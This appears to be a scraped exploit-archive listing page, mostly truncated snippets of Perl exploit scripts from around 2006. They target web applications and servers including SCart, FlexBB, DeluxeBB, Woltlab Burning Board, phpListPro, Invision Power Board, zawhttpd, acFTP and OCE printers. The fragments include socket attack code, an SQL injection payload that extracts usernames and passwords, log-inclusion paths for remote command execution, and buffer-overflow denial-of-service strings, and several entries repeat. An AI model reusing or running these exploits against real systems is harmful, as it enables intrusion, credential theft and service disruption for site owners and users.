SCart 2.0 (page) Remote Code Execution Exploit

Exploit for unknown platform in category web applications ============================================== SCart 2.0 page Remote Code Execution Exploit ============================================== !/usr/bin/perl SCart 2.0 Remote Code Execution Exploit Bugs Found & code By K-159 base on advisory a...

SCart 2.0 - page Remote Code Execution

SCart 2.0 - page Remote Code Execution !/usr/bin/perl SCart 2.0 Remote Code Execution Exploit Bugs Found & code By K-159 base on advisory at http://advisories.echo.or.id/adv/adv32-K-159-2006.txt echo.or.id c 2006 usage: perl scart.pl "cmd" Google Dork : site: scartserver.com Greetz: my soul...

myWebServer-1.0.txt

!/usr/bin/perl my Web Server new PeerAddr = $ARGV0, PeerPort = $ARGV1, Proto = "TCP" print "++++++++++++++++++++++++++++++\n"; print "Connecting to $ARGV0:$ARGV1 ...\n"; print "++++++++++++++++++++++++++++++\n"; print "Exploit Send successfuly!!\n"; print "++++++++++++++++++++++++++++++\n"; print...

radlance.txt

Discovered And Coded By Mr.CrackerZ Exploit Code !/usr/bin/perl Discovered and coded by Mr.CrackerZ Security Team Contact me [email protected] Usage: radlance.pl Google: Powered by: RadLance Gold v7 Tested Under RadLance Gold v7 Local Inclusion Exploit Example:...

Fusion News v.1.0 (fil_config) Remote File Inclusion Exploit

Exploit for unknown platform in category web applications ============================================================ Fusion News v.1.0 filconfig Remote File Inclusion Exploit ============================================================ !/usr/bin/perl use IO::Socket; Exploit coded by: X0r1 Bug...

Woltlab Burning Board <= 2.3.5 (links.php) SQL Injection Exploit

No description provided by source. !/usr/bin/perl use IO::Socket; print q Woltlab Burning Board 2.3.4 = "links.php" SQL Injection Exploit - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Exploit by | 666 SR-Crew Bug by | x82 Googledork | inurl:/wbb2/links.php?cat Usage | links....

phpListPro 2.0.1 - 'Language' Remote Code Execution

!/usr/bin/perl Title: phpListPro = 2.0.1 Remote Command Execution Exploit URL: http://www.smartisoft.com/ Info: - arbitrary local inclusion - need magicquotesgpc=off use IO::Socket; use LWP::Simple; ripped from rgod @apache= "/var/log/httpd/accesslog%00", "/var/log/httpd/errorlog%00",...

DeluxeBB 1.06 - name SQL Injection (mqoff)

DeluxeBB 1.06 - name SQL Injection mqoff !/usr/bin/perl use IO::Socket; print q DeluxeBB 1.06 Remote SQL Injection Exploit exploit discovered and coded by KingOfSka http://contropotere.netsons.org ; if !$ARGV2 print q Usage: perl dbbxpl.pl host /directory/ victimuserid perl dbbxpl.pl...

DeluxeBB 1.06 - 'name' SQL Injection (mq=off)

!/usr/bin/perl use IO::Socket; print q DeluxeBB 1.06 Remote SQL Injection Exploit exploit discovered and coded by KingOfSka http://contropotere.netsons.org ; if !$ARGV2 print q Usage: perl dbbxpl.pl host /directory/ victimuserid perl dbbxpl.pl www.somesite.com /forum/ 1 ; $server = $ARGV0; $dir =...

zawhttpd <= 0.8.23 (GET) Remote Buffer Overflow DoS

Exploit for linux platform in category dos / poc =================================================== zawhttpd new PeerAddr = $ARGV0, PeerPort = $ARGV1, Proto = "TCP" print "Attempting to kill zawhttpd at $ARGV0:$ARGV1 ..."; print $socket "GET \\\\\\\\\\ HTTP/1.0\r\n\r\n"; close$socket;...

acFTP FTP Server 1.4 - USER Remote Buffer Overflow (PoC)

acFTP FTP Server 1.4 - USER Remote Buffer Overflow PoC ===== acFtpd BoF Crash Exploit ===== There is a Buffer overflow at the USER command in acFtpd. Vuln found by: Preddy RootShell Security Group Usage: acdos.pl use IO::Socket; use Win32; use strict; my$i = ""; my$socket = ""; my $overflow = "A"...

zawhttpd 0.8.23 - GET Remote Buffer Overflow (Denial of Service) (PoC)

zawhttpd 0.8.23 - GET Remote Buffer Overflow Denial of Service PoC !/usr/bin/perl zawhttpd Buffer Overflow Exploit by Kamil 'K3' Sienicki use IO::Socket; use strict; my$socket = ""; if$socket = IO::Socket::INET-new PeerAddr = $ARGV0, PeerPort = $ARGV1, Proto = "TCP" print "Attempting to kill...

Invision Power Board 2.* commands execution exploit

Exploit for php platform in category web applications !/usr/bin/perl Invision Power Board 2. commands execution exploit by RST/GHC vulnerable versions new Proto = "tcp", PeerAddr = "$host", PeerPort = "80" || die "- CONNECTION FAILED"; $login = s/./"%".ucsprintf"%2.2x",ord$1/eg; $password =...

FlexBB0.5.5.pl.txt

!/usr/bin/perl use IO::Socket; FlexBB Exploit function/showprofile.php Remote SQL Injection 1- First Do Login 2- View This Link :D index.php?page=showprofile&id=-1' UNION ALL SELECT%201,username,3,4,5,6,7,8,9,0,1,2,3,password,5,6,7,8,9,0,1,2,3,4,3,4,5,7,8 FROM flexbbusers WHERE id=1/...

TopList 1.3.8 - 'phpBB Hack' Remote File Inclusion (2)

TopList Hack for PHPBB "$hostname", LocalPort = '9999', Proto = 'tcp', Listen = 1, Reuse = 1, ; die "Could not create socket: $!\n" unless $sock; if my $pid = fork my $newsock = $sock-accept; my $request = ; print $newsock "HTTP/1.1 200 OK\n"; print $newsock "Content-Length: $contentl...

OCE 3121/3122 Printer (parser.exe) Denial of Service Exploit

Exploit for hardware platform in category dos / poc ============================================================ OCE 3121/3122 Printer parser.exe Denial of Service Exploit ============================================================ !/usr/bin/perl OCE 3121/3122 Printer DoS Exploit...

OCE 3121/3122 Printer (parser.exe) Denial of Service Exploit

No description provided by source. !/usr/bin/perl OCE 3121/3122 Printer DoS Exploit ---------------------------- By Herman Groeneveld aka sh4d0wman trancelover75 AT gmail.com Description: the printer runs a webserver to provide various printing tasks from java enabled browsers. Input is being...

Invision Power Board 2.1.5 - lastdate Remote Code Execution

Invision Power Board 2.1.5 - lastdate Remote Code Execution !/usr/bin/perl Invision Power Board 2. commands execution exploit by RST/GHC vulnerable versions new Proto = "tcp", PeerAddr = "$host", PeerPort = "80" || die "- CONNECTION FAILED"; $login = s/./"%".ucsprintf"%2.2x",ord$1/eg; $password =...

FlexBB &lt;= 0.5.5 (function/showprofile.php) SQL Injection Exploit

No description provided by source. !/usr/bin/perl use IO::Socket; FlexBB Exploit function/showprofile.php Remote SQL Injection 1- First Do Login 2- View This Link :D index.php?page=showprofile&id=-1' UNION ALL SELECT%201,username,3,4,5,6,7,8,9,0,1,2,3,password,5,6,7,8,9,0,1,2,3,4,3,4,5,7,8 FROM...

FlexBB 0.5.5 - '/function/showprofile.php' SQL Injection

!/usr/bin/perl use IO::Socket; FlexBB Exploit function/showprofile.php Remote SQL Injection 1- First Do Login 2- View This Link :D index.php?page=showprofile&id=-1' UNION ALL SELECT%201,username,3,4,5,6,7,8,9,0,1,2,3,password,5,6,7,8,9,0,1,2,3,4,3,4,5,7,8 FROM flexbbusers WHERE id=1/...